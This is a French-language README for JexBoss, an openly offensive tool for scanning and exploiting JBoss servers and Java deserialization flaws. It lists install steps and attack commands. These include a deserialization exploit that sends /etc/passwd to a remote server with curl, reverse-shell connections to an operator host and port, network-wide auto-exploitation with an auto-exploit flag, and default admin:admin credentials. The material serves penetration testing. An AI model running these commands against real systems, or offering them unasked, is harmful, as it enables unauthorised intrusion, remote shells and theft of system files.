
JexBoss : outil de vérification et d'EXploitation de Jboss (et des vulnérabilités de désérialisation Java)
JexBoss est un outil pour tester et exploiter les vulnérabilités du serveur d'applications JBoss et d'autres plates-formes, frameworks et applications Java.
Pour installer la dernière version de JexBoss, veuillez utiliser les commandes suivantes :
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
OU :
Téléchargez la dernière version à : https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Si vous utilisez CentOS avec Python 2.6, veuillez installer Python2.7. Exemple d'installation de Python 2.7 sur CentOS en utilisant Collections Software scl :
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Si vous utilisez Windows, vous pouvez utiliser Git Bash pour exécuter JexBoss. Suivez les étapes ci-dessous :
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
L'outil et les exploits ont été développés et testés pour :
Les vecteurs d'exploitation sont :
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


Après avoir exploité un serveur JBoss, vous pouvez utiliser le shell de commandes de jexboss lui-même ou effectuer une connexion inverse en utilisant la commande suivante :
jexremote=YOUR_IP:YOUR_PORT
Exemple :
Shell>jexremote=192.168.0.10:4444

Lors de l'exploitation de vulnérabilités de désérialisation Java (Désérialisation d'application, Désérialisation de servlet), les options par défaut sont : établir une connexion shell inverse ou envoyer une commande à exécuter.
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
--version affiche le numéro de version du programme et quitte
--auto-exploit, -A Envoie automatiquement le code d'exploitation (UTILISEZ UNIQUEMENT SI VOUS AVEZ L'AUTORISATION !!!)
--disable-check-updates, -D
Désactive deux vérifications de mise à jour : 1) Vérification des mises à jour effectuée par la webshell sur le serveur exploité à http://webshell.jexboss.net/jsp_version.txt et 2) vérification des mises à jour effectuée par le client jexboss à http://joaomatosf.com/rnp/releases.txt
-mode {standalone,auto-scan,file-scan}
Mode de fonctionnement (DÉFAUT : standalone)
--app-unserialize, -j
Vérifie les vulnérabilités de désérialisation Java dans les paramètres HTTP (ex. javax.faces.ViewState, oldFormData, etc.)
--servlet-unserialize, -l
Vérifie les vulnérabilités de désérialisation Java dans les servlets (comme les interfaces Invoker)
--jboss Vérifie uniquement les vecteurs JBOSS.
--jenkins Vérifie uniquement le vecteur Jenkins CLI.
--jmxtomcat Vérifie JMX JmxRemoteLifecycleListener dans Tomcat (CVE-2016-8735 et CVE-2016-8735). OBS : Ne sera pas vérifié par défaut.
--proxy PROXY, -P PROXY
Utilise un proxy http pour se connecter à l'URL cible (ex. -P http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
Identifiants d'authentification du proxy (ex -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
Identifiant et mot de passe JBoss pour exploiter admin-console sur JBoss 5 et JBoss 6 (défaut : admin:admin)
--timeout TIMEOUT Secondes à attendre avant le délai de connexion (défaut 3)
Mode autonome :
-host HOST, -u HOST Adresse de l'hôte à vérifier (ex. -u http://192.168.0.10:8080)
Options avancées (UTILISER LORS DE L'EXPLOITATION DE JAVA UNSERIALIZE DANS LA COUCHE APPLICATION) :
--reverse-host RHOST:RPORT, -r RHOST:RPORT
Adresse et port de l'hôte distant pour le shell inverse lors de l'exploitation de vulnérabilités de désérialisation Java dans la couche application (pour l'instant, fonctionne uniquement sur les systèmes *nix) (ex. 192.168.0.10:1331)
--cmd CMD, -x CMD Envoie une commande spécifique à exécuter sur la cible (ex. curl -d @/etc/passwd http://your_server)
--windows, -w Spécifie que les commandes sont pour un système WINDOWS (cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
Spécifie le paramètre dans lequel trouver et injecter des objets sérialisés. (ex. -H javax.faces.ViewState ou -H oldFormData (<- Salut PayPal =X) ou autres) (DÉFAUT : javax.faces.ViewState)
--show-payload, -t Affiche la charge utile générée.
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
Spécifie le type de gadget pour générer automatiquement la charge utile. (DÉFAUT : commons-collections3.1 ou groovy1 pour JenKins)
--load-gadget FILENAME
Fournissez votre propre gadget depuis un fichier (un objet Java sérialisé en mode RAW)
--force, -F Force l'envoi de gadgets Java sérialisés à l'URL indiquée dans -u. Cela enverra la charge utile dans plusieurs formats (ex. RAW, GZIPED et BASE64) et avec différents Content-Types.
Mode scan automatique :
-network NETWORK Réseau à vérifier au format CIDR (ex. 10.0.0.0/8)
-ports PORTS Liste des ports séparés par des virgules à vérifier pour chaque hôte (ex. 8080,8443,8888,80,443)
-results FILENAME Nom du fichier pour stocker les résultats du scan automatique
Mode scan fichier :
-file FILENAME_HOSTS Nom du fichier contenant la liste des hôtes à scanner (un hôte par ligne)
-out FILENAME_RESULTS
Nom du fichier pour stocker les résultats du scan fichier